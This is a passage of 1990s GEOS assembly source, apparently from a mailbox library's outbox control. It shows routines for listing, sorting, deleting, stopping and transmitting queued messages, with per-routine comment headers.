@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OCMLMlGetScanRoutines %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Fetch the routines to call for building the list (RESPONDER ONLY) CALLED BY: MSG_ML_GET_SCAN_ROUTINES PASS: *ds:si = OutboxControlMessageList object ds:di = OutboxControlMessageListInstance cx:dx = MLScanRoutines to fill in RETURN: MLScanRoutines filled in DESTROYED: ax, cx, dx SIDE EFFECTS: none PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 3/22/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if _RESPONDER_OUTBOX_CONTROL OCMLMlGetScanRoutines method dynamic OutboxControlMessageListClass, MSG_ML_GET_SCAN_ROUTINES .enter movdw esdi, cxdx mov es:[di].MLSR_select.offset, offset OCMLSelect mov es:[di].MLSR_select.segment, vseg OCMLSelect mov es:[di].MLSR_compare.offset, offset OCMLCompare mov es:[di].MLSR_compare.segment, segment OCMLCompare .leave ret OCMLMlGetScanRoutines endm endif ; _RESPONDER_OUTBOX_CONTROL COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OCMLSelect %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: See if this message should be displayed CALLED BY: (EXTERNAL) MessageList::ML_RESCAN PASS: dxax = MailboxMessage to check bx = admin file *ds:si = OutboxControlMessageList object RETURN: nothing DESTROYED: nothing SIDE EFFECTS: message+address(es) may be added to the list PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 3/22/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if _RESPONDER_OUTBOX_CONTROL OCMLSelect proc far msg local MailboxMessage push dx, ax listObj local dword push ds, si ForceRef msg ; used by address callback uses bx, di, cx class OutboxControlMessageListClass .enter ; ; Enumerate all the addresses, adding each one to the list if it hasn't ; been sent to yet. ; clr cx ; cx <- address # mov bx, vseg OCMLSelectCallback mov di, offset OCMLSelectCallback call MessageAddrEnum lds si, ss:[listObj] .leave ret OCMLSelect endp endif ; _RESPONDER_OUTBOX_CONTROL COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OCMLSelectCallback %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: If the address hasn't been sent to yet, add it to the list. (RESPONDER ONLY) CALLED BY: (INTERNAL) OCMLSelect via MessageAddrEnum PASS: ds:di = MailboxInternalTransAddr *ds:si = address array *ds:bx = MailboxMessageDesc ss:bp = inherited frame cx = address # RETURN: carry set to stop enumerating (always clear) cx incremented DESTROYED: ax, bx, dx, si, di all allowed SIDE EFFECTS: message added to message list PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 3/22/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if _RESPONDER_OUTBOX_CONTROL OCMLSelectCallback proc far class OutboxControlMessageListClass uses ds .enter inherit OCMLSelect CheckHack <MAS_SENT eq 0> test ds:[di].MITA_flags, mask MTF_STATE jz done ; ; Tell the list object to add this message + address, since it's not ; been sent yet. ; mov bx, ds:[bx] ; ds:bx = MMD push cx, bp mov dx, cx ; dx = address # StructPushBegin MLMessage mov al, ds:[di].MITA_flags CheckHack <offset MTF_STATE + width MTF_STATE eq 8> mov cl, offset MTF_STATE shr al, cl ; al = MailboxAddressState StructPushField MLM_state, ax ; MLM_state + MLM_priority (we ; don't use MLM_priority for ; comparison so we are pushing ; trash here StructPushField MLM_registered, \ <ds:[bx].MMD_registered.FDAT_time, \ ds:[bx].MMD_registered.FDAT_date> StructPushField MLM_autoRetryTime, \ <ds:[bx].MMD_autoRetryTime.FDAT_time, \ ds:[bx].MMD_autoRetryTime.FDAT_date> StructPushField MLM_medium, ds:[di].MITA_medium StructPushField MLM_transport, \ <ds:[bx].MMD_transport.MT_manuf, \ ds:[bx].MMD_transport.MT_id> StructPushField MLM_address, dx StructPushField MLM_message, <ss:[msg].high, ss:[msg].low> StructPushEnd call MailboxGetAdminFile ; bx <- admin file lds si, ss:[listObj] mov bp, sp ; ss:bp = MLMessage call MessageListAddMessage add sp, size MLMessage pop cx, bp ; ; Record fixed-up object segment ; mov ss:[listObj].segment, ds done: inc cx ; advance address # for next ; callback clc ; CF <- keep going .leave ret OCMLSelectCallback endp endif ; _RESPONDER_OUTBOX_CONTROL Resident segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OCMLCompare %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Compare two message entries for sorting purposes. (RESPONDER ONLY) CALLED BY: (EXTERNAL) MessageList::ML_RESCAN PASS: ds:si = MLMessage #1 es:di = MLMessage #2 (ds = es) RETURN: flags set so caller can jl, je, or jg according as ds:si is less than, equal to, or greater than es:di DESTROYED: ax, bx, cx, dx, di, si SIDE EFFECTS: PSEUDO CODE/STRATEGY: sorting fields are (in order of precedence): GMTID_SM before anything else MTF_SENDING before anything else MTF_QUEUED before anything else numeric order of medium tokens (very arbitrary, but groups messages using same medium even if using different transports) closer open-window time address # REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 3/22/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if _RESPONDER_OUTBOX_CONTROL OCMLCompare proc far .enter call OCMLCompareTransports jne done call OCMLCompareMedia jne done call OCMLCompareState jne done call OCMLCompareRetry jne done call OCMLCompareAddressNumbers jne done call OCMLCompareRegistrationTime done: .leave ret OCMLCompare endp endif ; _RESPONDER_OUTBOX_CONTROL COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OCMLCompareTransports %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Compare the transports of the two messages to determine if one should be before the other CALLED BY: (INTERNAL) OCMLCompare ds:si = MLMessage #1 es:di = MLMessage #2 (ds = es) RETURN: flags set so jl, je, or jg will take according as message #1 should come before, equivalent to, or after message #2 DESTROYED: ax SIDE EFFECTS: none PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 3/22/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if _RESPONDER_OUTBOX_CONTROL OCMLCompareTransports proc near .enter clr ax ; assume both or neither is SMS CmpTok ds:[si].MLM_transport, \ MANUFACTURER_ID_GEOWORKS, \ GMTID_SM, \ checkSecondMessage dec ax ; set so JL will take if second not SMS checkSecondMessage: CmpTok ds:[di].MLM_transport, \ MANUFACTURER_ID_GEOWORKS, \ GMTID_SM, \ checkResult inc ax ; set so JG will take if first not SMS, ; or JE will take if first was SMS checkResult: tst ax .leave ret OCMLCompareTransports endp endif ; _RESPONDER_OUTBOX_CONTROL COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OCMLCompareState %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Compare the MTF_STATE flag of the two addresses to determine if one should be before the other CALLED BY: (INTERNAL) OCMLCompare ds:si = MLMessage #1 es:di = MLMessage #2 (ds = es) RETURN: flags set so jl, je, or jg will take according as message #1 should come before, equivalent to, or after message #2 DESTROYED: ax SIDE EFFECTS: none PSEUDO CODE/STRATEGY: if the MTF_STATE flag of one address is numerically larger than the other, that address should come first REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 3/22/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if _RESPONDER_OUTBOX_CONTROL OCMLCompareState proc near .enter mov al, ds:[si].MLM_state cmp ds:[di].MLM_state, al ; order is purposedly inverted ; because ordering is inverse ; from ordering of state ; values .leave ret OCMLCompareState endp endif ; _RESPONDER_OUTBOX_CONTROL COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OCMLCompareMedia %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Compare the media tokens of the two addresses to determine if one should be before the other CALLED BY: (INTERNAL) OCMLCompare ds:si = MLMessage #1 es:di = MLMessage #2 (ds = es) RETURN: flags set so jl, je, or jg will take according as message #1 should come before, equivalent to, or after message #2 DESTROYED: ax SIDE EFFECTS: none PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 3/22/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if _RESPONDER_OUTBOX_CONTROL OCMLCompareMedia proc near .enter mov ax, ds:[si].MLM_medium cmp ax, ds:[di].MLM_medium .leave ret OCMLCompareMedia endp endif ; _RESPONDER_OUTBOX_CONTROL COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OCMLCompareRetry %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Compare the autoRetryType stamp of the two messages to determine if one should be before the other CALLED BY: (INTERNAL) OCMLCompare ds:si = MLMessage #1 es:di = MLMessage #2 (ds = es) RETURN: flags set so jl, je, or jg will take according as message #1 should come before, equivalent to, or after message #2 DESTROYED: ax, cx SIDE EFFECTS: none PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 3/22/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if _RESPONDER_OUTBOX_CONTROL OCMLCompareRetry proc near .enter clr ax ; assume equal mov cx, ds:[si].MLM_autoRetryTime.FDAT_date cmp cx, ds:[di].MLM_autoRetryTime.FDAT_date jne setFlags ; => set flags from date ; difference mov cx, ds:[si].MLM_autoRetryTime.FDAT_time cmp cx, ds:[di].MLM_autoRetryTime.FDAT_time setFlags: je checkResult ; => leave ax alone dec ax ; assume < (doesn't change CF) jb checkResult neg ax checkResult: tst ax .leave ret OCMLCompareRetry endp endif ; _RESPONDER_OUTBOX_CONTROL COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OCMLCompareAddressNumbers %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Compare the indices of the two addresses to determine if one should be before the other CALLED BY: (INTERNAL) OCMLCompare ds:si = MLMessage #1 es:di = MLMessage #2 (ds = es) RETURN: flags set so jl, je, or jg will take according as message #1 should come before, equivalent to, or after message #2 DESTROYED: ax SIDE EFFECTS: none PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 3/22/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if _RESPONDER_OUTBOX_CONTROL OCMLCompareAddressNumbers proc near .enter ; ; We do our own double comparison instead of using "cmpdw", because ; all we care is whether they are equal or not. This way we can avoid ; jumping twice if the first match fails. And we can compare the low ; word first (which is more likely to differ than the high word). ; mov ax, ds:[si].MLM_message.low cmp ax, ds:[di].MLM_message.low jne equivalent mov ax, ds:[si].MLM_message.high cmp ax, ds:[di].MLM_message.high jne equivalent mov ax, ds:[si].MLM_address cmp ax, ds:[di].MLM_address done: .leave ret equivalent: cmp ax, ax ; indicate we can't use this to decide ; by returning so JE will take jmp done OCMLCompareAddressNumbers endp endif ; _RESPONDER_OUTBOX_CONTROL COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OCMLCompareRegistrationTime %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Compare the registration stamp of the two messages to determine if one should be before the other CALLED BY: (INTERNAL) OCMLCompare ds:si = MLMessage #1 es:di = MLMessage #2 (ds = es) RETURN: flags set so jl, je, or jg will take according as message #1 should come before, equivalent to, or after message #2 DESTROYED: ax, cx SIDE EFFECTS: none PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 3/22/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if _RESPONDER_OUTBOX_CONTROL OCMLCompareRegistrationTime proc near .enter clr ax ; assume equal mov cx, ds:[si].MLM_registered.FDAT_date cmp cx, ds:[di].MLM_registered.FDAT_date jne setFlags ; => set flags from date ; difference mov cx, ds:[si].MLM_registered.FDAT_time cmp cx, ds:[di].MLM_registered.FDAT_time setFlags: je checkResult ; => leave ax alone dec ax ; assume < (doesn't change CF) jb checkResult neg ax checkResult: tst ax .leave ret OCMLCompareRegistrationTime endp endif ; _RESPONDER_OUTBOX_CONTROL Resident ends COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OCMLDeleteMessage %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Delete the currently-selected message. CALLED BY: MSG_OCML_DELETE_MESSAGE PASS: *ds:si = OutboxControlMessageList object ds:di = OutboxControlMessageListInstance RETURN: nothing DESTROYED: ax, cx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 3/22/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OCMLDeleteMessage method dynamic OutboxControlMessageListClass, MSG_OCML_DELETE_MESSAGE .enter ; ; Make sure the user wants to delete the message. ; mov bp, ds:[LMBH_handle] push bp push si mov si, offset uiConfirmDeleteStr call UtilDoConfirmation pop si call MemDerefStackDS cmp ax, IC_YES jne done call OCMLCancelSend ; CF set if msg gone jc done CheckHack <MAS_SENT eq 0> BitClr ds:[bx].MITA_flags, MTF_STATE ; MTF_STATE = MAS_SENT call notifyApp if _DUPS_ALWAYS_TOGETHER push di, cx mov cx, ds:[bx].MITA_next CheckHack <MITA_NIL eq -1> inc cx jz dupsDone mov si, ds:[di] mov si, ds:[si].MMD_transAddrs dupLoop: dec cx call notifyApp push ax mov_tr ax, cx call ChunkArrayElementToPtr pop ax CheckHack <MAS_SENT eq 0> BitClr ds:[di].MITA_flags, MTF_STATE ; MTF_STATE = MAS_SENT mov cx, ds:[di].MITA_next CheckHack <MITA_NIL eq -1> inc cx jnz dupLoop dupsDone: pop di, cx endif ; _DUPS_ALWAYS_TOGETHER call UtilVMDirtyDS call UtilVMUnlockDS call MainThreadUnlock call OUDeleteMessageIfNothingUnsent if _RESPONDER_OUTBOX_CONTROL ; ; Disable Delete trigger so that the user can't delete the same message ; twice. It will be re-enabled (if appropriate) when rescan happens. ; mov bx, bp ; ^hbx = msg list blk mov si, offset MOCDeleteTrigger mov ax, MSG_GEN_SET_NOT_ENABLED mov dl, VUM_DELAYED_VIA_APP_QUEUE mov di, mask MF_CALL call ObjMessage endif ; _RESPONDER_OUTBOX_CONTROL done: .leave ret ;-------------------- ;Let everyone know this address has been deleted for the message. ; ;Pass: ; dxax = MailboxMessage ; cx = address # ;Return: ; nothing ;Destroyed: ; nothing notifyApp: push bp, ax, cx, di, dx Assert bitClear, cx, <not mask MABC_ADDRESS> ornf cx, mask MABC_OUTBOX or \ (MACT_REMOVED shl offset MABC_TYPE) mov bp, cx MovMsg cxdx, dxax mov ax, MSG_MA_BOX_CHANGED clr di call UtilForceQueueMailboxApp pop bp, ax, cx, di, dx retn OCMLDeleteMessage endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OCMLStopMessage %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Stop transmission of the selected message CALLED BY: MSG_OCML_STOP_MESSAGE PASS: *ds:si = OutboxControlMessageList object ds:di = OutboxControlMessageListInstance RETURN: nothing DESTROYED: ax, cx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 3/23/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OCMLStopMessage method dynamic OutboxControlMessageListClass, MSG_OCML_STOP_MESSAGE .enter call OCMLCancelSend ; CF set if message gone jc done call UtilVMUnlockDS call MainThreadUnlock done: .leave ret OCMLStopMessage endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OCMLSendMessage %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Submit the selected message for transmission CALLED BY: MSG_OCML_SEND_MESSAGE PASS: *ds:si = OutboxControlMessageList object ds:di = OutboxControlMessageListInstance RETURN: nothing DESTROYED: ax, cx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 3/23/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OCMLSendMessage method dynamic OutboxControlMessageListClass, MSG_OCML_SEND_MESSAGE .enter call OCMLGetMessage segmov es, ds MovMsg dxax, cxdx call MessageLock mov di, ds:[di] if _AUTO_RETRY_AFTER_TEMP_FAILURE ; ; If message is in Upon Request mode, we want to find all other messages ; in Upon Request mode going to the same place and transmit them. ; mov cx, ds:[di].MMD_autoRetryTime.FDAT_date and cx, ds:[di].MMD_autoRetryTime.FDAT_time cmp cx, -1 jne checkMediumAvailable call OCMLSendUponRequestMessages jmp done checkMediumAvailable: endif ; _AUTO_RETRY_AFTER_TEMP_FAILURE push ax push di mov si, ds:[di].MMD_transAddrs mov ax, bp call ChunkArrayElementToPtr ; ; Make sure the message hasn't already changed state. ; mov al, ds:[di].MITA_flags andnf al, mask MTF_STATE cmp al, MAS_EXISTS shl offset MTF_STATE mov ax, ds:[di].MITA_medium ; ; Clear phone blacklist, if necessary ; pop di je checkAvailable pop ax call UtilVMUnlockDS jmp done checkAvailable: ; ; It hasn't. Make sure the medium for transmitting it exists. ; call OMCheckMediumAvailable jc transMessage ; ; Medium doesn't exist. Shift message to Waiting state and let user ; know why. ; if _AUTO_RETRY_AFTER_TEMP_FAILURE movdw ds:[di].MMD_autoRetryTime, MAILBOX_NOW call UtilVMDirtyDS mov_tr bx, ax pop ax call OCMLNotifyOfSwitchToWaitingState mov_tr ax, bx else pop ax endif ; _AUTO_RETRY_AFTER_TEMP_FAILURE movdw bxcx, ds:[di].MMD_transport mov dx, ds:[di].MMD_transOption call UtilVMUnlockDS ; release message before ; notifying the user, to ; avoid blocking transmission ; of other messages call OCMLTellWhyCantTransmit jmp done transMessage: pop ax call UtilVMUnlockDS mov cx, bp ornf cx, mask TID_ADDR_INDEX call OutboxTransmitMessage done: .leave ret OCMLSendMessage endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OCMLTellWhyCantTransmit %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Let the user know why the medium's not available CALLED BY: (INTERNAL) OCMLSendMessage OCMLSendUponRequestMessages PASS: es = OCML object block ax = OutboxMedia token for medium bxcx = MailboxTransport dx = MailboxTransportOption RETURN: nothing DESTROYED: ds, if same as es SIDE EFFECTS: thread blocks until user acknowledges the dialog. PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 11/14/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OCMLTellWhyCantTransmit proc near uses ds, ax, si, bx .enter ; ; Use common code to find the reason. ; call ORGetMediumNotAvailReason ; ^lax:si <- reason mov_tr bx, ax ; ; Put up the error box. ; ; ^lbx:si = reason medium's not available. ; push es:[LMBH_handle] ; save for fixup clr ax ; ax <- 0 for initializing ; most fields StructPushBegin StandardDialogOptrParams StructPushField SDOP_helpContext, <ax, ax> StructPushField SDOP_customTriggers, <ax, ax> StructPushField SDOP_stringArg2, <ax, ax> StructPushField SDOP_stringArg1, <bx, si> mov ax, handle ROStrings mov si, offset uiCannotStartString StructPushField SDOP_customString, <ax, si> mov ax, CustomDialogBoxFlags <0, CDT_ERROR, GIT_NOTIFICATION, 0> StructPushField SDOP_customFlags, <ax> StructPushEnd call UserStandardDialogOptr call MemDerefStackES ; ; Free the reason string block, if we allocated one. ; cmp bx, handle ROStrings je done call MemFree done: .leave ret OCMLTellWhyCantTransmit endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OCMLSendUponRequestMessages %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Find all existing Upon Request messages going to the same place as this one and queue them all for transmission. CALLED BY: (INTERNAL) OCMLSendMessage PASS: ds:di = MailboxMessageDesc of message to be sent dxax = MailboxMessage of same bp = address # to be sent to es = OCML block RETURN: nothing DESTROYED: ax, bx, cx, dx, si, di, ds SIDE EFFECTS: message block is unlocked PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 11/14/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if _AUTO_RETRY_AFTER_TEMP_FAILURE OCMLSendUponRequestMessages proc near addrNum local word push bp ;;msg local MailboxMessage push dx, ax medium local word transQ local word addrBlock local hptr transport local MailboxTransport transOption local MailboxTransportOption addrSize local word talID local TalID .enter ; ; Initialize state variables. ; clr si mov ss:[transQ], si mov ss:[addrBlock], si ; ; Point to the selected address ; mov si, ds:[di].MMD_transAddrs push di mov ax, ss:[addrNum] call ChunkArrayElementToPtr mov ax, ds:[di].MITA_medium mov ss:[medium], ax mov si, di pop di push cx ; save address size ; ; Clear phone blacklist, if necessary ; ; ; Find the number of bytes that are significant. ; movdw cxdx, ds:[di].MMD_transport mov bx, ds:[di].MMD_transOption movdw ss:[transport], cxdx mov ss:[transOption], bx call OMGetSigAddrBytes mov ss:[addrSize], ax ; ; Allocate a block to hold the entire address. ; pop ax push ax mov cx, ALLOC_FIXED call MemAlloc pop cx jc allocErr ; ; Copy the address in. ; push es mov es, ax mov ss:[addrBlock], bx clr di rep movsb ; ; If the medium's available, allocate a queue on which to place ; the messages that match, and a TalID with which to mark them. ; mov ax, ss:[medium] call OMCheckMediumAvailable call UtilVMUnlockDS jnc doEnum call OTCreateQueue mov ss:[transQ], ax call AdminAllocTALID mov ss:[talID], ax doEnum: ; ; Run through the outbox finding Upon Request messages that match. ; call AdminGetOutbox mov cx, SEGMENT_CS mov dx, offset messageCallback call DBQEnum pop es ; ; If we put them on a queue, transmit them. ; mov di, ss:[transQ] tst di jz notifyUser mov cx, ss:[talID] call OutboxTransmitMessageQueue jnc freeStuff call OutboxCleanupFailedTransmitQueue freeStuff: ; ; Free up the address block. ; mov bx, ss:[addrBlock] call MemFree done: .leave ret allocErr: ; ; Couldn't allocate a block to hold the address. Release the message ; and bail out. ; XXX: TELL THE USER. ; call UtilVMUnlockDS jmp done notifyUser: ; ; Tell the user why we couldn't actually transmit the things. ; mov ax, ss:[medium] movdw bxcx, ss:[transport] mov dx, ss:[transOption] call OCMLTellWhyCantTransmit jmp freeStuff ;-------------------- ; See if the addresses of the message are the same as that the user ; selected for transmission and, if creating a queue, mark them ; as such as put the message in the queue. ; ; If not forming a queue (medium not available), just switch the ; message to Waiting. ; ; Pass: ; sidi = MailboxMessage ; bx = admin file ; ss:bp = inherited frame: ; transQ = DBQ to which to add the message if should ; transmit ; = 0 if should switch to Waiting ; talID = id with which to mark matching addresses ; if should transmit ; addrSize = # of significant bytes ; transport = transport of selected message ; transOption = transport option of selected message ; es = address to match messageCallback: push ds movdw dxax, sidi call MessageLock mov di, ds:[di] ; ; See if the message is in the Upon Request state. ; CheckHack <MAILBOX_ETERNITY eq -1> mov cx, ds:[di].MMD_autoRetryTime.FDAT_date and cx, ds:[di].MMD_autoRetryTime.FDAT_time cmp cx, -1 jne messageCallbackDone ; => not Upon Request ; ; It is. See if it's going via the same transport. ; cmpdw ds:[di].MMD_transport, ss:[transport], cx jne messageCallbackDone mov cx, ds:[di].MMD_transOption cmp ss:[transOption], cx jne messageCallbackDone ; ; It is. Go find any addresses that are the same as the selected one. ; clr cx ; cx <- none matched mov bx, SEGMENT_CS mov di, offset addrCallback call MessageAddrEnum jcxz messageCallbackDone ; ; At least one address matched. Queue the message if we're doing that ; sort of thing. ; mov di, ss:[transQ] tst di jz notifyOfSwitch call MailboxGetAdminFile call DBQAdd notifyOfSwitch: call OCMLNotifyOfSwitchToWaitingState messageCallbackDone: call UtilVMUnlockDS pop ds clc retf ;-------------------- ; Examine a single address to see if it matches and put it in the ; queue or into Waiting if it does. ; ; Pass: ds:di = MITA to check ; *ds:bx = MMD ; ss:bp = frame ; es:0 = MITA to compare with ; Return: ; carry set to stop enumerating (always clear) ; cx = non-z if address marked ; Destroyed: ; bx, si, di allowed addrCallback: mov ax, ds:[di].MITA_medium cmp ss:[medium], ax jne addrCallbackDone mov si, di clr di push bp mov bp, ss:[addrSize] call OUCompareAddresses pop bp jne addrCallbackDone EC < mov di, si ; for warning print-out Tcl code> EC < tst ds:[si].MITA_addrList > EC < WARNING_NZ OVERWRITING_EXISTING_ADDRESS_MARK > mov ax, ss:[talID] mov ds:[si].MITA_addrList, ax mov si, ds:[bx] CheckHack <MAILBOX_NOW eq 0> clr cx movdw ds:[si].MMD_autoRetryTime, cxcx if _OUTBOX_SEND_WITHOUT_QUERY ; ; Can now set this silly thing. ; ornf ds:[si].MMD_flags, mask MMF_SEND_WITHOUT_QUERY endif ; _OUTBOX_SEND_WITHOUT_QUERY dec cx ; cx <- non-z to indicate marked call UtilVMDirtyDS addrCallbackDone: clc retf OCMLSendUponRequestMessages endp endif ; _AUTO_RETRY_AFTER_TEMP_FAILURE COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OCMLNotifyOfSwitchToWaitingState %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Let everyone know that the passed message has switched from Upon Request or Retry state to Waiting CALLED BY: (INTERNAL) OCMLSendUponRequestMessages OCMLSendMessage PASS: dxax = message affected RETURN: nothing DESTROYED: nothing SIDE EFFECTS: notification queued to mailbox app PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 11/15/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if _AUTO_RETRY_AFTER_TEMP_FAILURE OCMLNotifyOfSwitchToWaitingState 